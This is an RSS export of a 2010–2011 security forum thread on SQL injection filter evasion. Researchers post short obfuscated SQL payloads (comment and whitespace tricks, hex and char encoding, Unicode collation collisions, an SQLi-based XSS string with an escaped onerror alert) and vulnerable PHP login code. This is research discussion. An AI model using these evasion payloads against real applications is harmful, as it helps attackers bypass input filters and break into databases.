<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>SQL filter evasion</title>
        <description>Just released a small walkthrough for some filters:
http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/
I would love to see a lot more about SQL filter evasion/obfuscation in this forum although I have to admit that JS is just designed for obfuscation.</description>
        <link>http://sla.ckers.org/forum/read.php?24,33903,33903#msg-33903</link>
        <lastBuildDate>Wed, 22 May 2013 11:23:34 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,36567#msg-36567</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,36567#msg-36567</link>
            <description><![CDATA[Sweeeeet mysql is like js for weird syntax]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Thu, 23 Jun 2011 18:18:11 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,36566#msg-36566</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,36566#msg-36566</link>
            <description><![CDATA[another weird MySQL alias behavior (\N = null): <br />
<br />
SELECT \Nfooooobar_123<br />
<br />
nice for confusion:<br />
<br />
SELECT\NOTHING]]></description>
            <dc:creator>Reiners</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Thu, 23 Jun 2011 17:25:20 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,36056#msg-36056</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,36056#msg-36056</link>
            <description><![CDATA[Nice! and added...<br />
<br />
[<a href="http://hackvertor.co.uk/hvurl/2b" rel="nofollow" >hackvertor.co.uk</a>]]]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Mon, 21 Mar 2011 07:49:49 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,36055#msg-36055</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,36055#msg-36055</link>
            <description><![CDATA[A little trick that works with MSSQL and ASP. Nothing new, but still neat.<br />
<br />
%S%E%L%E%C%T 1<br />
<br />
Basically, you can add the percentage sign in between characters and the query is still valid.]]></description>
            <dc:creator>lightos</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Mon, 21 Mar 2011 04:18:07 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,35053#msg-35053</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,35053#msg-35053</link>
            <description><![CDATA[just to have it added in this thread as well:<br />
<br />
<br />
- functions can be called with lots of spaces before parenthesis: SELECT ascii (1) <br />
- there can be a lot of bullshit in this part and the syntax is still valid: <br />
select(name) `bullshit bullshit bullshit`from users <br />
select name `bullshit bullshit bullshit` from users<br />
- this works as well: <br />
select`name`buuullshit from users<br />
select name buuullshit from users<br />
<br />
edit:<br />
just to have it in this thread:<br />
<a href="http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/" rel="nofollow" >SQLi filter evasion cheatsheet for MySQL</a>]]></description>
            <dc:creator>Reiners</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Mon, 12 Jul 2010 17:34:54 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,34442#msg-34442</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,34442#msg-34442</link>
            <description><![CDATA[conditional errors with regexp under mysql for filter evasion<br />
http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/]]></description>
            <dc:creator>Reiners</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Fri, 07 May 2010 04:27:15 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,34101#msg-34101</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,34101#msg-34101</link>
            <description><![CDATA[Nice link thanks!]]></description>
            <dc:creator>SW</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Sun, 11 Apr 2010 02:14:52 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,34039#msg-34039</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,34039#msg-34039</link>
            <description><![CDATA[<pre class="bbcode">SELECT/*/'a'/*/ 'd'/*/ 'mi'/*/ 'n'</pre>]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Fri, 02 Apr 2010 16:58:40 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,34038#msg-34038</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,34038#msg-34038</link>
            <description><![CDATA[<pre class="bbcode">
SELECT concat(char(0x70617373),char(2003792484))
</pre>]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Fri, 02 Apr 2010 16:24:40 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,33936#msg-33936</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,33936#msg-33936</link>
            <description><![CDATA[Or some PostgreSQL fun - useful for SQLI based XSS (and yes - that does make sense if you really think about it lol)<br />
<br />
<pre class="bbcode">
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror))
</pre>]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Tue, 23 Mar 2010 08:35:04 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,33929#msg-33929</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,33929#msg-33929</link>
            <description><![CDATA[Just stumbled upon this - major version detection w/o @ or parenthesis:<br />
<br />
<pre class="bbcode">SELECT--/*!500005#*//*!400004#*//*!300003#*/</pre>]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Sun, 21 Mar 2010 15:46:08 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,33917#msg-33917</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,33917#msg-33917</link>
            <description><![CDATA[Indeed, I've been fooling around with this a bit myself, but so far only have found my testing app to be vulnerable.<br />
<br />
I have two users with the same name in the DB, manes and mÁnes, both have different passwords. The query goes something like this:<br />
$userrow = mysql_query(&quot;SELECT user FROM `Test` WHERE `user` = '&quot; . mysql_real_escape_string($_POST['username']) . &quot;' AND `passwd` = '&quot; . md5($_POST['password']) . &quot;';&quot;);<br />
        	if(mysql_num_rows($userrow) != &quot;1&quot;){<br />
                	echo &quot;&lt;font color='red'&gt;&lt;b&gt;Wrong username or password!&lt;/b&gt;&lt;/font&gt;&quot;;<br />
                	include &quot;login.php&quot;;<br />
        	} else {<br />
			$_SESSION['user'] = $_POST['username'];<br />
			header('Location: index.php');<br />
        	}<br />
<br />
If I log in with username manes, but using the password for mÁnes, it will log me in as the original manes. I tried adding DISTINCT, LIMIT 1, ORDER BY to circumvent this, but it only seemed to affect the results I got through MySQL console, my web app remained vulnerable. I went on to test this with another PHP app I downloaded, similar query:<br />
<br />
$qry=&quot;SELECT * FROM members WHERE login='$login' AND passwd='&quot;.md5($_POST['password']).&quot;'&quot;;<br />
	$result=mysql_query($qry);<br />
	//Check whether the query was successful or not<br />
	if($result) {<br />
		if(mysql_num_rows($result) == 1) {<br />
			//Login Successful<br />
<br />
But this time, it didn't matter which username I used (manes/mÁnes), it logged my in by the password I used... Also, SMF 1.1 allowed me to register both users, however would only let me log onto my original one.]]></description>
            <dc:creator>lightos</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Sat, 20 Mar 2010 13:24:55 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,33916#msg-33916</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,33916#msg-33916</link>
            <description><![CDATA[@mario: could be useful if the application checks for an already registered user <b>not</b> in SQL but hardcoded in the app:<br />
<br />
<pre class="bbcode">
&lt;?php
// register.php

$user = mysql_real_escape_string($_GET['user']);
$pass = mysql_real_escape_string($_GET['pass']);

if(trim($user) == &quot;admin&quot;)
{
	exit(&quot;admin already exists&quot;);
} 

$result = mysql_query(&quot;INSERT INTO users (name, pass) VALUES ('&quot;.$user.&quot;','&quot;.$pass.&quot;'&quot;);
?&gt;</pre>
<br />
<pre class="bbcode">
&lt;?php
// admin.php

$pass = mysql_real_escape_string($_GET['pass']);

$result = mysql_query(&quot;SELECT * FROM users WHERE user = 'admin' AND pass = '&quot;.$pass.&quot;'&quot;);

if($data = @mysql_fetch_array($result))
{
	echo &quot;Welcome admin&quot;;
}
?&gt;</pre>
<br />
but unlike stefan essers <a href="http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/" rel="nofollow" >column truncation attack</a> this will not work when the username is checked against the database.]]></description>
            <dc:creator>Reiners</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Sat, 20 Mar 2010 10:15:41 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,33908#msg-33908</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,33908#msg-33908</link>
            <description><![CDATA[Or the XML way:<br />
<br />
<pre class="bbcode">SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))</pre>]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Fri, 19 Mar 2010 12:52:30 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,33907#msg-33907</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,33907#msg-33907</link>
            <description><![CDATA[Here's a small start - MySQL and Unicode - big fun:<br />
http://dev.mysql.com/doc/refman/5.1/en/charset-unicode-sets.html<br />
<br />
<pre class="bbcode">
SELECT 'Ä'='A'; #1
SELECT 'Ã'='A'; #1

SELECT * FROM test WHERE name = 'ädM&amp;#1031;&amp;#328;'; //imagine entities in canonical form

SELECT*FROM(test)WHERE(name)IN(_ucs2 0x01df010e004d00cf0148);
</pre>]]></description>
            <dc:creator>Anonymous User</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Fri, 19 Mar 2010 12:45:29 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,33905#msg-33905</guid>
            <title>Re: SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,33905#msg-33905</link>
            <description><![CDATA[<blockquote class="bbcode"><div><small>Quote<br/></small><strong></strong><br/>
I would love to see a lot more about SQL filter evasion</div></blockquote>
<br />
INSERT INTO contests (contest) VALUES('crazy contest ideas')<br />
<br />
#Found no rows<br />
SELECT COUNT(*) FROM contests WHERE ContestType = 'SQL' AND User = 'Reiners']]></description>
            <dc:creator>Gareth Heyes</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Fri, 19 Mar 2010 11:12:51 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?24,33903,33903#msg-33903</guid>
            <title>SQL filter evasion</title>
            <link>http://sla.ckers.org/forum/read.php?24,33903,33903#msg-33903</link>
            <description><![CDATA[Just released a small walkthrough for some filters:<br />
http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/<br />
I would love to see a lot more about SQL filter evasion/obfuscation in this forum although I have to admit that JS is just designed for obfuscation.]]></description>
            <dc:creator>Reiners</dc:creator>
            <category>Obfuscation</category>
            <pubDate>Fri, 19 Mar 2010 09:55:43 -0500</pubDate>
        </item>
    </channel>
</rss>
